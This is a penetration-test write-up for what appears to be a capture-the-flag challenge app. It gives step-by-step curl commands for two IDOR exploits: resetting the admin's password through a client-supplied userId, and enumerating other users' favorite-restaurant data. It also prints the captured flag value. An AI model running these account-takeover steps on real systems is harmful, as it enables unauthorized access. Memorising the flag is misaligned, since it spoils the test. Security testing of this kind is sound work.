# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Password Change IDOR Enabling Complete Account Takeover

**Summary:**
- **Vulnerable location:** POST /api/change_password.php
- **Overview:** Critical authorization flaw allows any authenticated user to change any other user's password by manipulating the userId parameter. Successfully exploited to compromise the admin account and capture the CTF FLAG.
- **Impact:** Complete account takeover of any user including admin, leading to privilege escalation and unauthorized access to sensitive data (FLAG capture)
- **Severity:** Critical

**Prerequisites:**
- Valid authentication session (trivially obtained via public registration endpoint)
- Knowledge of target user ID (admin is ID 7, easily discoverable)

**Exploitation Steps:**

1. Register a new attacker account to obtain valid authentication:
```bash
curl -X POST 'http://localhost:34999/api/register.php' \
  -d 'username=authz_attacker&email=authz_attacker@test.com&password=AttackerPass123'
```
Expected Response: `{"success":true,"message":"Registration successful."}`

2. Login as attacker to obtain session cookie:
```bash
curl -X POST 'http://localhost:34999/api/login.php' \
  -d 'username=authz_attacker&password=AttackerPass123' \
  -c cookies.txt
```
Expected Response: `{"success":true,"message":"Login successful."}`
Session Cookie: `PHPSESSID=[SESSION_ID]` (stored in cookies.txt)

3. Exploit the IDOR vulnerability to change admin's password (userId=7):
```bash
curl -X POST 'http://localhost:34999/api/change_password.php' \
  -b cookies.txt \
  -d 'oldPassword=AttackerPass123&newPassword=Hacked123&confirmPassword=Hacked123&userId=7'
```
**Critical Flaw:** The endpoint verifies `oldPassword` against the attacker's account (session user_id) but updates the password for `userId=7` (admin account) from the POST body.

Expected Response: `{"success":true,"message":"Password changed successfully."}`

4. Login as admin using the newly set password:
```bash
curl -X POST 'http://localhost:34999/api/login.php' \
  -d 'username=admin&password=Hacked123' \
  -c admin_cookies.txt
```
Expected Response: `{"success":true,"message":"Login successful."}`

5. Access admin profile page to capture the FLAG:
```bash
curl 'http://localhost:34999/profile.php' -b admin_cookies.txt
```

**Proof of Impact:**

**FLAG CAPTURED:** `FLAG{00afab545384197ae2bc879359395a754e1fc5320ed2d6d08f267227b45154b1}`

The FLAG was successfully extracted from the admin profile page, demonstrating complete privilege escalation from visitor role to ADMIN role through horizontal IDOR exploitation.

Evidence showing FLAG in HTTP response:
```html
<strong>FLAG:</strong> FLAG{00afab545384197ae2bc879359395a754e1fc5320ed2d6d08f267227b45154b1}
```

**Technical Analysis:**
- Code Location: `/app/website/api/change_password.php:31`
- Vulnerable Pattern: `UPDATE users SET password = :password WHERE id = :id` uses `$_POST['userId']` without ownership validation
- Missing Control: No check that `$_POST['userId']` equals `$_SESSION['user_id']`
- Authorization Logic Flaw: Password verification (line 26-29) uses session user_id, but password update (line 31) uses POST userId parameter

**Notes:**
This vulnerability demonstrates a critical authorization bypass pattern where authentication is verified but authorization is completely absent. The separation of password verification (session-based) from password update (client-controlled) creates a complete account takeover vulnerability. Any authenticated user can compromise any other account in the system, including administrative accounts, by simply providing the target userId in the POST body.

---

### AUTHZ-VULN-02: Favorites Retrieval IDOR Enabling Unauthorized Data Access

**Summary:**
- **Vulnerable location:** GET /api/get_favorite_restaurants.php
- **Overview:** Authorization flaw allows any authenticated user to view any other user's favorite restaurants by manipulating the userId parameter in the query string
- **Impact:** Privacy violation through unauthorized access to personal data, enables user enumeration and mass data exfiltration
- **Severity:** High

**Prerequisites:**
- Valid authentication session (obtained via registration and login)

**Exploitation Steps:**

1. Register and login as attacker (if not already authenticated):
```bash
curl -X POST 'http://localhost:34999/api/register.php' \
  -d 'username=authz_attacker&email=authz_attacker@test.com&password=AttackerPass123'

curl -X POST 'http://localhost:34999/api/login.php' \
  -d 'username=authz_attacker&password=AttackerPass123' \
  -c cookies.txt
```

2. Access another user's favorite restaurants (User ID 1):
```bash
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=1' -b cookies.txt
```
Expected Response:
```json
{
  "success": true,
  "data": {
    "username": "not_that_easy",
    "restaurants": [
      "Pizza Place",
      "Sushi World",
      "Burger Joint",
      "Pasta House",
      "Taco Stand",
      "BBQ Spot",
      "Salad Bar",
      "Dessert Shop"
    ]
  }
}
```

3. Access admin's favorite restaurants (User ID 7):
```bash
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=7' -b cookies.txt
```
Expected Response:
```json
{
  "success": true,
  "data": {
    "username": "admin",
    "restaurants": [
      "Dessert Shop",
      "Pizza Place",
      "Sushi World"
    ]
  }
}
```

4. Demonstrate systematic enumeration (iterate through user IDs):
```bash
# Enumerate users 2-6
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=2' -b cookies.txt
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=3' -b cookies.txt
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=4' -b cookies.txt
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=5' -b cookies.txt
curl 'http://localhost:34999/api/get_favorite_restaurants.php?userId=6' -b cookies.txt
```

**Proof of Impact:**

Successfully accessed personal data for multiple users including:
- **User ID 1** (not_that_easy): 8 favorite restaurants
- **User ID 2** (user1): 3 favorite restaurants (Pizza Place, Sushi World, Burger Joint)
- **User ID 3** (john_doe): 3 favorite restaurants (Pasta House, Taco Stand, BBQ Spot)
- **User ID 4** (jane_smith): 3 favorite restaurants (Salad Bar, Dessert Shop, Pizza Place)
- **User ID 7** (admin): 3 favorite restaurants (Dessert Shop, Pizza Place, Sushi World)

**Demonstrated Capabilities:**
1. **Horizontal Privilege Escalation:** Access to data belonging to users at the same privilege level
2. **User Enumeration:** Discovery of usernames by iterating user IDs
3. **Privacy Violation:** Unauthorized access to personal preferences and dietary habits
4. **Mass Data Exfiltration:** No rate limiting enables harvesting all users' data systematically

**Technical Analysis:**
- Code Location: `/app/website/api/get_favorite_restaurants.php:14`
- Vulnerable Pattern: `$userId = $_GET['userId']` accepted without ownership validation
- Database Query (lines 17-24): Uses client-controlled userId in WHERE clause
- Missing Control: No check that `$_GET['userId']` equals `$_SESSION['user_id']`

**Notes:**
This vulnerability demonstrates the same authorization pattern failure as AUTHZ-VULN-01: authentication is verified (lines 7-10 check session exists) but authorization is completely absent. The endpoint trusts client-provided userId parameter without validating ownership. While lower severity than password change IDOR, this still represents a significant privacy violation and can be used for reconnaissance in multi-stage attacks (enumerate users, profile their habits, target specific accounts for social engineering).

---

## Evidence Completeness Verification

✅ **AUTHZ-VULN-01:**
- Complete, executable commands with full authentication context provided
- Concrete evidence of impact: FLAG captured (`FLAG{00afab545384197ae2bc879359395a754e1fc5320ed2d6d08f267227b45154b1}`)
- Another tester can reproduce the attack from documentation alone
- All technical components specified without ambiguity
- Achieved Level 4: Critical Privilege Escalation Demonstrated with FLAG capture

✅ **AUTHZ-VULN-02:**
- Complete, executable commands with full authentication context provided
- Concrete evidence of impact: Unauthorized access to multiple users' personal data with actual data shown
- Another tester can reproduce the attack from documentation alone
- All technical components specified without ambiguity
- Achieved Level 3: Access Control Bypass Confirmed with unauthorized data access

Both vulnerabilities meet the reproducibility requirements and demonstrate definitive unauthorized access through the external attack surface (http://localhost:34999).